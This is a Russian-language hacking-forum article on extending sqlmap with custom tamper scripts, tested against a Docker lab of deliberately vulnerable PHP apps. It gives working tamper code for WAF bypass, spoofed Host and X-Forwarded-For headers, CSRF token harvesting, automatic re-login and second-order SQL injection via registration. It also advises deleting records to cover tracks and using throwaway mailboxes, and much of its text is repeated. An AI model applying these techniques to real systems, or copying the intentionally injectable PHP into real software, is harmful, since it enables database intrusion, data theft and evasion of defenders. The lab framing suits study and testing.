Автор petrinh1988
Источник https://xss.pro
Tamper можно перевести, как “вмешиваться”, “искажать”, “подделывать” и т.д. Собственно, в sqlmap тамперы так и работают, преобразуя тем или иным образом запросы sqlmap. Заготовка для тампера может выглядеть следующим образом:
Предлагаю немного разобраться с тем, что скрывается за всеми этими строками и что можно с этим сделать. Я уже касался темы пару месяцев назад, но в процессе работы понимание перевернулось с ног на голову. Надеюсь смогу перевернуть и ваше понимание.
Опять же, предлагаю относиться к статье, не как к инструкции, а как к исследованию. А приведенный код рассматривать больше как идею. Как минимум, по той причине, что какой-то полноценной справки по разработке тамперов я не нашел. Как в настоящем исследовании, всю информацию приходится собирать по кусочкам из исходников sqlmap, своих наработок и статей других авторов.
Сама статья разбита на две части: теоретическая база и практическая часть, в которой приведу несколько интересных, на мой взгляд, примеров. Покопаемся внутри кода sqlmap, чтобы лучше понять как и что работает, применим знания на практике нагло вмешавшись в объекты sqlmap.
Чтобы материал можно было рассмотреть с разных сторон и лучше понять, набросал несколько тестовых модулей имитирующих работу веб-приложений. Очень интересно, зайдет ли подобный формат, не стесняйтесь высказаться по этому поводу.
Для запуска этих модулей потребуется установленный Docker. На винде все спокойно должно запуститься после установки десктоп версии, на Linux запускал с установленным докером и docker compose. Скачиваете прикрепленный к статье архив, распаковываете и запускаете через командную строку:
docker compose up -d
После успешного запуска вы должны увидеть в Docker Desktop такую картину:
PHP-скрипты нужны исключительно для демонстрации, поэтому содержат минимальный функционал. В папке “www” лежат три подпапки, которые соответствуют подтемам статьи:
Рекомендация здесь довольно простая: не спешить, изучать вопрос поэтапно и полноценно. Переписали тампер из соответствующего раздела, запустили с проксированием через Burp, посмотрели что пишет sqlmap, логи Burp (лучше логгер++), посмотрели что произошло в базе (особенно последний пример) и глянули код PHP.
Обращайте внимание на порты, если у вас занят 80, 8081 или 3306, поменяйте в docker-compose.yml. Например, на скрине выше видно, что phpMyAdmin висел на 8080 порту, что создавало конфликт с Burp, поэтому сейчас он на 8081.
Еще один важный момент! Так как во всех примерах у нас домен “localhost”, не забывайте чистить купи переходя от примера к примеру. Так же, не забывайте чистить сессию sqlmap на каждом запуске –flush-session
За это отвечает код находящийся в option.py, начиная с 822 строчки:
Предупреждение встречается не часто, вследствии того, что большая часть имеет равный приоритет (PRIORITY.NORMAL). Но все же, перед использованием, есть смысл посмотреть приоритеты и в целом понять, как будет изменяться исходный полезная нагрузка при накладывании на него тамперов. Правило простое: сначала идут структурные изменения запросов, вроде “=” на LIKE, кодировки и прочее ставим в конец.
Кстати, я писал, что структура “почти всегда одинаковая” по той причине, что приоритет можно опустить. В этом случае, sqlmap назначит приоритет PRIORITY.NORMAL (814-я строка option.py):
Полный список приоритетов можно увидеть в файле enums.py. В целом, довольно интересный файл, рекомендую полистать на досуге:
В теории, можно прикрутить и объект Backend, который обслуживает информацию о том, какое ПО обеспечивает работу базы данных на сервере. Но тут нюанс… до момента, когда sqlmap нашел точку инъекции и произвел перечисление ПО, никакой информации в Backend нет. Поэтому, подобная оптимизация может быть полезна только в том случае, когда sqlmap нашел точку инъекции, но что-то мешает дампить данные, а мы точно понимаем, как исправить ситуацию. Таким образом можем написать какой-то более-менее универсальный модуль.
В практической части, буду использовать импорт объекта conf из lib.core.data, этот объект хранит в себе всю необходимую информацию для формирования запросов. В нашем случае, в него нагло и беспринципно будут помещаться куки, а именно PHPSESSID, после предварительного логина.
В данном случае, тампер “appendnullbyte” информирует пользователя, что он имеет смысл только при работе с базой данных MS Access. При этом, какого-то влияния на работу тампера или sqlmap не оказывается. Но если покопаться в исходниках sqlmap видно, что при инициализации тамперов, у нас есть возможность генерировать исключение на уровне всего sqlmap:
К слову, за загрузку информации о тамперах, отвечает функция _setTamperingFunctions(), которая вызывается в init() скрипта option.py. Код выше — это часть указанной функции.
Соответственно, если наш тампер подразумевает наличие каких-то сторонних библиотек, например, библиотеки шифрования, мы можем реализовать хук. Продублировать нужный нам импорт внутри dependencies(). Таким образом, если у нас проблема с импортом, стопается выполнение всего sqlmap.
Оптимально положить тампер в отдельную папку, не забыв при этом добавить пустой файл __init__.py.
Таким образом, работа остановится на моменте инициализации сканера. После установки соответствующей библиотеки, все прекрасно запускается. Sqlmap радует нас надписью, что пустышка добавлена.
И все же, тамперы позволяют нам делать гораздо более сложные вещи. Для начала, предлагаю реализовать простой логгер, чтобы воочию посмотреть на входные данные.
На выходе мы получим:
И такую картину мы будем видеть почти в 100% случаев, если не был применен другой тампер. Меняться будет только пэйлоад. По факту, в **kwargs падает три переменных: headers, delimiter и hints. Чтобы убедиться в этом, посмотрим код функции, которая подготавливает данные и инициирует запрос, в т.ч. вызывает наш tamper(). Он находится в файле connect.py, функция queryPage():
Как видно из кода выше, hints всегда представляет собой пустой словарь. delimiter формируется из параметров или берется стандартное значение. Заголовки же передаются через переменную auxHeaders, которую функция принимает в виде параметра. Но нет ни одного вызова функции queryPage с передачей этого параметра. В этом легко убедиться, выполнив поиск по файлам с регуляркой “queryPage\(.*auxHeaders”.
Соответственно, учитыая, что передача параметров происходит по ссылке, можно сделать вывод, что данные переменные нужны исключительно для модификации запросов. Причем, delimiter и hints нужны для дополнения каких-то данных. Проще всего продемонстрировать этот момент при помощи части функции queryPage() и стандартного тампера luanginx
Соответственно, hints может содержать в себе ключ HINT.APPEND и HINT.PREPEND, в которых хранятся какие-то дополнительные данные, присоединяемые к запросу через разделитель.
Этот кусок кода взят из luanginx, который используется, в том числе для обхода Cloudflare, путем добавления бессмысленных данных. Собственно, сопоставив эти два куска кода, становится понятно, каким именно образом можно использовать hints и delimiter.
Остался параметр headers. Классическим примером будет подстановка заголовка X-Forwarded-For:
При помощи Burp, посмотрим, что получим на выходе:
Заголовок добавлен. Но вот вопрос, что произойдет при наложении заголовков? Например, можно ли реализовать атаку на заголовок Host, продублировав Host с доменом атакующего. Для этого слегка поменяю тампер и посмотрю вывод через Burp:
Вывод, заголовки не дублируются, а переписываются. Причем, приоритет будет у тампера, тампера примененного последним. Даже если в параметрах прописать –header, или, например –random-agent, будет использован заголовок из тампера.
Для теста будем работать с проектом “token”. В сущности, весь проект это форма поиска по базе данных, но поиск возможен только при наличии правильного токена. Причем, в форме два скрытых поля с токенами, чтобы запутать SQLMAP.
Пришло время писать сам тампер. Чтобы не заморачиваться, возьму уже готовый из интернет и чуток доработаю. Примеров тамперов не много, но они есть.
Пришлось слегка доработать, помимо токена прикрутить получение куки и установки его в заголовок. Но даже в этом случае ничего работать не будет. Это я к чему… статьи о программировании нужно не просто читать, а пытаться повторить и запустить в жизнь. Иногда бывают вот такие нюансы…
Причину я подчеркнул на скрине. Просто амперсанд энкодится в %26 и сервер не видит отдельной переменной. Я никогда не исключаю, что это может быть результат моей тупости, но найти способа обойти этот момент не получилось. Выход находится рядом, в hints:
Теперь код работает как надо. Запрос в Burp выглядит, как надо — все лежит в отдельных переменных:
Команда запуска:
Чтобы отключить проксирование в бюрп, убираем прокси в тампере и в команде запуска.
В сущности, ничего неожиданного, но согласитесь - тамперы уже заиграли совершенно другими красками.
Теперь, перед каждым запросом, будет происходить предварительный логин. Неплохо, но мы получим аномальное количество авторизаций. Значит атака становится заметнее. Решить эту проблему можно, но сначала предлагаю посмотреть на простой и абсолютно бесполезный пример. Нам он нужен просто чтобы увидеть, что происходит. Запустите следующий тампер, указав в качестве прокси Burp.
Мы видим главное, данные между вызовами тампера сохраняются, а значит мы спокойно можем хранить инфу о сессии. Значит можно реализовать хранение сессии в переменной и добавить предварительную проверку, надо ли нам логиниться.
Каждый сайт уникален, значит и проверка необходимости перелогиниться будет уникальной. В моем примере, будет происходить проверка поля для поиска, так как поиск доступен только авторизованному пользователю. Чтобы этот механизм работал, в модуле “auth” лаборатории, есть два состояния:
Для соблюдения условия на необходимость перелогина, пользователь может выполнить только три запроса после чего сессия уничтожается и нужно логиниться заново. За это отвечает переменная-счетчик times, которая храниться в сессии.
Обновленный код тампера:
Сначала проверяем, есть ли вообще сохраненная сессия. Если нет, сразу идем и логинимся, после чего передаем сессию в заголовки. Если сессия есть, проверяем актуальная ли она. Соответственно, если все ок, мап делает запрос, если не ок — перелогинивается. Собственно, по самому коду, думаю больших вопросов возникнуть не должно.
Запустить можно следующим образом:
Видно, что периодически тампер перелогинивается. Так же видны запросы без параметра search, это чек на логин. Пример вполне работает. Данные о сессии успешно хранятся в переменной. Но, чтобы все четко работало, нужно запретить мапе обновлять куки из запросов.
Но… давайте посмотрим, можно пойти дальше и хранить сессию в объектах самого sqlmap? Да! В ядре sqlmap есть файл data.py, в нем содержатся все объекты системы:
Немного покопавшись в коде, легко найдем следующие строчки web.py:
Отлично, можно взять за основу и адаптировать под наши задачи. Теперь схема работы будет выглядеть так:
Что же, теперь у вас есть вполне интересная идея для тампера, а также понимание возможности хранить данные между вызовами тамперов и возможности прямо влиять на объекты sqlmap.
Из нового здесь то, что импортируем перечисление PLACE, указывающее конкретную позицию в параметрах объекта conf и сам объект conf. Далее практически на 100% идентичный код, только переписываем conf.parameters[PLACE.COOKIE]. Тем самым нагло и бесцеремонно вмешиваемся в работу sqlmap. Для стабильности работы оставил и обновление заголовков.
Что это дает нам? Используя подобное наглое вмешательство, мы можем напрямую влиять на все или почти все параметры запроса.
На этот случай, у sqlmap есть прекрасный механизм, который включает в себя два варианта: --second-url и --second-req. Соответственно, в первом случае, мы передаем конкретный url для чека результата, во втором передаем файл содержащий запрос.
Но бывают ситуации, когда невозможно реализовать инъекцию второго порядка через этот механизм. Например, если точкой инъекции выступает логин пользователя, который можно указать при регистрации, но в дальнейшем он недоступен для редактирования. Подобный случай рассмотрен в заметке HackTricks. Единственный недостаток, на мой взгляд, в том что там сам механизм имеет туманное описание и может быть сложным для понимания. Поэтому, накидал на коленке небольшой проект, чтобы можно было “пощупать руками” - речь о second.
По сути, это просто несколько модулей реализующих регистрацию и авторизацию пользователей. Взаимодействие с базой происходит через стандартный для PHP ORM (Object Relation Model) - PDO, что делает процесс значительно безопаснее. Но, по нашей задумке, “разработчик” не учел, что хакер может использовать логин для хранения инъекции, поэтому исключил очистку входных данных и полностью доверяет данным полученным из базы.
Код регистрирующий пользователя без очистки данных:
В целом, он бы не принес существенных проблем, если бы и в дальнейшем происходила подстановка значений, а не прямое использование в запросе:
Для наглядности, вот еще кусок кода, демонстрирующий получение логина пользователя из базы в сессию:
Вернемся к нашей инъекции. Для реализации задуманного, потребуется тампер с предварительной регистрацией. Напомню, что тамперы выполняются до осуществления запросов. Получается следующая схема работы:
Думаю, что особо код тампера пояснять не нужно. Выполняет все вышеописанное. На всякий случай в комментариях оставил вариант с проксированием трафика через Burp. В этом случае, важно убедиться, что не используете порт 8080 в докере. Оптимально тогда и sqlmap пускать через прокси Burp.
Можно заморочиться и перестроить алгоритм работы на предварительный логин, как в предыдущем примере. Но мне кажется, что в данном случае менять только портить. Довольно приятная и лаконичная схема работы.
Чтобы запустить достаточно ввести (не забыв заменить <path> на свой):
Результат выполнения не может не радовать. Связка из запроса и тампера, прекрасно отрабатывает. SQLMAP нашел кучу вариантов получения данных из базы:
Перечисление данных выполняется без каких-либо проблем:
Это достаточно шумная атака и админ, хотя бы изредка просматривающий базу данных, будет сильно удивлен.
Стоит позаботиться о том, чтобы замести за собой следы. В нашем случае, это можно сделать запустив sqlmap с –sql-shell и использовать запрос на удаление всех ненужных записей.
Конечно же, в современных условиях, подобный подход в 90% будет недостаточным, так как нам нужно подтверждение регистрации. Но ничего не мешает прикрутить в тампер проверку почты. Поднять свой почтовик и реализовать механизм catch-all для сбора почты со всех ящиков, чтобы можно было для регистраций использовать рандомные адреса. Ну или прикрутить какой-нибудь temp-mail.org, чтобы использовать временные почты.
В целом, в статье я пытался акцентировать внимание, что тамперы это не только модификация пэйлоада для обхода WAF или подстройки нагрузки под конкретное веб-приложение, но и возможность выстраивать сложные многошаговые атаки, с донастройкой всех параметров запроса или обращениями к сторонним ресурсам. Надеюсь статья будет вам полезна с практической точки зрения.
P.S.
Предлагаю делиться примерами интересных тамперов, если в практике возникала необходимость их создавать.
Источник https://xss.pro
Tamper можно перевести, как “вмешиваться”, “искажать”, “подделывать” и т.д. Собственно, в sqlmap тамперы так и работают, преобразуя тем или иным образом запросы sqlmap. Заготовка для тампера может выглядеть следующим образом:
Python:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return payload
Предлагаю немного разобраться с тем, что скрывается за всеми этими строками и что можно с этим сделать. Я уже касался темы пару месяцев назад, но в процессе работы понимание перевернулось с ног на голову. Надеюсь смогу перевернуть и ваше понимание.
Опять же, предлагаю относиться к статье, не как к инструкции, а как к исследованию. А приведенный код рассматривать больше как идею. Как минимум, по той причине, что какой-то полноценной справки по разработке тамперов я не нашел. Как в настоящем исследовании, всю информацию приходится собирать по кусочкам из исходников sqlmap, своих наработок и статей других авторов.
Сама статья разбита на две части: теоретическая база и практическая часть, в которой приведу несколько интересных, на мой взгляд, примеров. Покопаемся внутри кода sqlmap, чтобы лучше понять как и что работает, применим знания на практике нагло вмешавшись в объекты sqlmap.
Чтобы материал можно было рассмотреть с разных сторон и лучше понять, набросал несколько тестовых модулей имитирующих работу веб-приложений. Очень интересно, зайдет ли подобный формат, не стесняйтесь высказаться по этому поводу.
О “лаборатории”
Для запуска этих модулей потребуется установленный Docker. На винде все спокойно должно запуститься после установки десктоп версии, на Linux запускал с установленным докером и docker compose. Скачиваете прикрепленный к статье архив, распаковываете и запускаете через командную строку:
docker compose up -d
После успешного запуска вы должны увидеть в Docker Desktop такую картину:
PHP-скрипты нужны исключительно для демонстрации, поэтому содержат минимальный функционал. В папке “www” лежат три подпапки, которые соответствуют подтемам статьи:
- token - для демонстрации предварительного получения токена
- auth - для демонстрации парсинга с предварительной авторизацией
- second - для демонстрации работы с вторичной SQL-инъекцией, требующей предварительной регистрации аккаунта
Рекомендация здесь довольно простая: не спешить, изучать вопрос поэтапно и полноценно. Переписали тампер из соответствующего раздела, запустили с проксированием через Burp, посмотрели что пишет sqlmap, логи Burp (лучше логгер++), посмотрели что произошло в базе (особенно последний пример) и глянули код PHP.
Обращайте внимание на порты, если у вас занят 80, 8081 или 3306, поменяйте в docker-compose.yml. Например, на скрине выше видно, что phpMyAdmin висел на 8080 порту, что создавало конфликт с Burp, поэтому сейчас он на 8081.
Еще один важный момент! Так как во всех примерах у нас домен “localhost”, не забывайте чистить купи переходя от примера к примеру. Так же, не забывайте чистить сессию sqlmap на каждом запуске –flush-session
Об элементах тампера
Структура почти всегда неизменная, как минимум мы импортируем и указываем приоритет, и создаем две обязательных функции.Приоритеты
Начну с приоритетов, их понимание имеет достаточно серьезный вес в работе с sqlmap. По хорошему, при вызове sqlmap, порядок добавления тамперов должен быть четко согласован с указанными в них приоритетами. Это логично, так как есть разница между конвертацией строки в base64 с последующим кодированием в url и обратной последовательностью. Sqlmap на этот случай, имеет встроенную защиту и, если обнаружит несоответствие, предложит исправить ситуацию:
За это отвечает код находящийся в option.py, начиная с 822 строчки:
Предупреждение встречается не часто, вследствии того, что большая часть имеет равный приоритет (PRIORITY.NORMAL). Но все же, перед использованием, есть смысл посмотреть приоритеты и в целом понять, как будет изменяться исходный полезная нагрузка при накладывании на него тамперов. Правило простое: сначала идут структурные изменения запросов, вроде “=” на LIKE, кодировки и прочее ставим в конец.
Кстати, я писал, что структура “почти всегда одинаковая” по той причине, что приоритет можно опустить. В этом случае, sqlmap назначит приоритет PRIORITY.NORMAL (814-я строка option.py):
Полный список приоритетов можно увидеть в файле enums.py. В целом, довольно интересный файл, рекомендую полистать на досуге:
Импорт
Классически, импортируем приоритеты, но как Python-кодеры, понимаем, что можем подгрузить любой файл библиотеки sqlmap. Например, полезным бывает импорт lib.core.convert с небольшим, но полезным набором функций конвертации.В теории, можно прикрутить и объект Backend, который обслуживает информацию о том, какое ПО обеспечивает работу базы данных на сервере. Но тут нюанс… до момента, когда sqlmap нашел точку инъекции и произвел перечисление ПО, никакой информации в Backend нет. Поэтому, подобная оптимизация может быть полезна только в том случае, когда sqlmap нашел точку инъекции, но что-то мешает дампить данные, а мы точно понимаем, как исправить ситуацию. Таким образом можем написать какой-то более-менее универсальный модуль.
В практической части, буду использовать импорт объекта conf из lib.core.data, этот объект хранит в себе всю необходимую информацию для формирования запросов. В нашем случае, в него нагло и беспринципно будут помещаться куки, а именно PHPSESSID, после предварительного логина.
Функция dependencies()
Если покопаться в тамперах, которые идут в комплекте к sqlmap, мы встретим использование данной функции исключительно в контексте предупреждения пользователя о зависимости тампера от технологий сервера. Пример:
Python:
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
В данном случае, тампер “appendnullbyte” информирует пользователя, что он имеет смысл только при работе с базой данных MS Access. При этом, какого-то влияния на работу тампера или sqlmap не оказывается. Но если покопаться в исходниках sqlmap видно, что при инициализации тамперов, у нас есть возможность генерировать исключение на уровне всего sqlmap:
К слову, за загрузку информации о тамперах, отвечает функция _setTamperingFunctions(), которая вызывается в init() скрипта option.py. Код выше — это часть указанной функции.
Соответственно, если наш тампер подразумевает наличие каких-то сторонних библиотек, например, библиотеки шифрования, мы можем реализовать хук. Продублировать нужный нам импорт внутри dependencies(). Таким образом, если у нас проблема с импортом, стопается выполнение всего sqlmap.
Python:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
from cryptography.fernet import Fernet
def tamper(payload, **kwargs):
from cryptography.fernet import Fernet
return payload
Оптимально положить тампер в отдельную папку, не забыв при этом добавить пустой файл __init__.py.
Таким образом, работа остановится на моменте инициализации сканера. После установки соответствующей библиотеки, все прекрасно запускается. Sqlmap радует нас надписью, что пустышка добавлена.
Основная функция тампера
Вот мы и добрались до того, ради чего собрались: tamper(payload, **kwargs). Здесь мы можем манипулировать данными, производить необходимую предварительную работу и т.п. Чаще всего тамперы воспринимаются, как некие обфускаторы для обхода WAF/IDS. Ну или, например, если данные перед пересылкой проходят какую-то предварительную обработку, например, шифрование:
Python:
from hashlib import sha256
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return str(sha256(payload.encode('utf-8')).hexdigest())
И все же, тамперы позволяют нам делать гораздо более сложные вещи. Для начала, предлагаю реализовать простой логгер, чтобы воочию посмотреть на входные данные.
Python:
from lib.core.data import logger
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
logger.info('***********************************')
logger.info('Payload is %s' % payload)
logger.info('***********************************')
for key, value in kwargs.items():
logger.info("The value of {} is {}".format(key, value))
logger.info('***********************************')
return payload
На выходе мы получим:
И такую картину мы будем видеть почти в 100% случаев, если не был применен другой тампер. Меняться будет только пэйлоад. По факту, в **kwargs падает три переменных: headers, delimiter и hints. Чтобы убедиться в этом, посмотрим код функции, которая подготавливает данные и инициирует запрос, в т.ч. вызывает наш tamper(). Он находится в файле connect.py, функция queryPage():
Python:
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
"""
This method calls a function to get the target URL page content
and returns its page ratio (0 <= ratio <= 1) or a boolean value
representing False/True match in case of !getRatioValue
"""
...
if not auxHeaders:
auxHeaders = {}
...
if payload:
delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)
if not disableTampering and kb.tamperFunctions:
for function in kb.tamperFunctions:
hints = {}
try:
payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints)
except Exception as ex:
errMsg = "error occurred while running tamper "
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
raise SqlmapGenericException(errMsg)
if not isinstance(payload, six.string_types):
errMsg = "tamper function '%s' returns " % function.__name__
errMsg += "invalid payload type ('%s')" % type(payload)
raise SqlmapValueException(errMsg)
value = agent.replacePayload(value, payload)
Как видно из кода выше, hints всегда представляет собой пустой словарь. delimiter формируется из параметров или берется стандартное значение. Заголовки же передаются через переменную auxHeaders, которую функция принимает в виде параметра. Но нет ни одного вызова функции queryPage с передачей этого параметра. В этом легко убедиться, выполнив поиск по файлам с регуляркой “queryPage\(.*auxHeaders”.
Соответственно, учитыая, что передача параметров происходит по ссылке, можно сделать вывод, что данные переменные нужны исключительно для модификации запросов. Причем, delimiter и hints нужны для дополнения каких-то данных. Проще всего продемонстрировать этот момент при помощи части функции queryPage() и стандартного тампера luanginx
Python:
if hints:
if HINT.APPEND in hints:
value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND])
if HINT.PREPEND in hints:
if place == PLACE.URI:
match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value)
if match:
value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0)))
else:
value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value)
Соответственно, hints может содержать в себе ключ HINT.APPEND и HINT.PREPEND, в которых хранятся какие-то дополнительные данные, присоединяемые к запросу через разделитель.
Python:
def tamper(payload, **kwargs):
"""
LUA-Nginx WAFs Bypass (e.g. Cloudflare)
Reference:
* https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/
Notes:
* Lua-Nginx WAFs do not support processing of more than 100 parameters
>>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload)
'34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1'
"""
hints = kwargs.get("hints", {})
delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER)
hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(500))
return payload
Этот кусок кода взят из luanginx, который используется, в том числе для обхода Cloudflare, путем добавления бессмысленных данных. Собственно, сопоставив эти два куска кода, становится понятно, каким именно образом можно использовать hints и delimiter.
Остался параметр headers. Классическим примером будет подстановка заголовка X-Forwarded-For:
Python:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
headers["X-Forwarded-For"] = '127.0.0.1'
return payload
При помощи Burp, посмотрим, что получим на выходе:
Заголовок добавлен. Но вот вопрос, что произойдет при наложении заголовков? Например, можно ли реализовать атаку на заголовок Host, продублировав Host с доменом атакующего. Для этого слегка поменяю тампер и посмотрю вывод через Burp:
Python:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
headers["Host"] = 'attack-host.com'
return payload
Вывод, заголовки не дублируются, а переписываются. Причем, приоритет будет у тампера, тампера примененного последним. Даже если в параметрах прописать –header, или, например –random-agent, будет использован заголовок из тампера.
Получение токена
Нередка ситуация, когда перед инъекцией нам нужно получить какой-то токен, тот же CSRF. В большинстве случаев, мап сам определит и использует токен. Если есть рандомизация, это можно обойти без каких-либо проблем используя параметры –csrf-url и –csrf-token. Но, как говориться, “голь на выдумки хитра”, поэтому столкнуться можно с чем угодно и получение токена может стать целым приключением. Сейчас же, просто продемонстрирую сам принцип.Для теста будем работать с проектом “token”. В сущности, весь проект это форма поиска по базе данных, но поиск возможен только при наличии правильного токена. Причем, в форме два скрытых поля с токенами, чтобы запутать SQLMAP.
PHP:
<?php
session_start();
$request_method = strtoupper($_SERVER['REQUEST_METHOD']);
if ($request_method == 'GET') {
$_SESSION['token'] = bin2hex(random_bytes(32));
$wrong_token = bin2hex(random_bytes(32));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<?php
if ($request_method == 'POST') {
$token = $_POST['csrf-token'];
$search = $_POST['search'];
if (!$token || $token != $_SESSION['token']) {
echo "Wow, something wrong";
} else {
require "config.php";
$query = "SELECT * FROM `brands` WHERE `brand_name` like '%" . $search . "%'";
echo '<h3>Search results: </h3>';
foreach ($conn->query($query) as $row) {
printf("%s\n", $row["brand_name"]);
}
echo '<hr>';
}
}
?>
<form method="POST">
<input type="hidden" name="csrf-token" id="csrf-token-trap" value="<?=$wrong_token;?>">
<input type="hidden" name="csrf-token" id="csrf-token-1" value="<?=$_SESSION['token'];?>">
<input type="text" name="search"value="">
<input type="submit" value="Search">
</form>
</body>
</html>
Пришло время писать сам тампер. Чтобы не заморачиваться, возьму уже готовый из интернет и чуток доработаю. Примеров тамперов не много, но они есть.
Python:
#!/usr/bin/env python3
import requests
import re
from lib.core.enums import PRIORITY,HINT
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def get_token():
url = "http://localhost/token/"
proxies = {'http':'http://127.0.0.1:8080'}
session = requests.Session()
r = session.get(url, verify=False, allow_redirects=True, proxies=proxies)
token_re = re.compile(r'(?<=csrf-token-1).*(?<=value=\")(.*)\"')
token = token_re.search(r.text).group(1)
session_id = session.cookies.get('PHPSESSID')
return {"token": token, "session_id": session_id}
def tamper(payload, **kwargs):
if payload:
response = get_token()
headers = kwargs.get("headers", {})
headers['Cookie'] = "PHPSESSID=" + str(response.get("session_id"))
payload += f"&csrf-token={response.get("token")}"
return payload
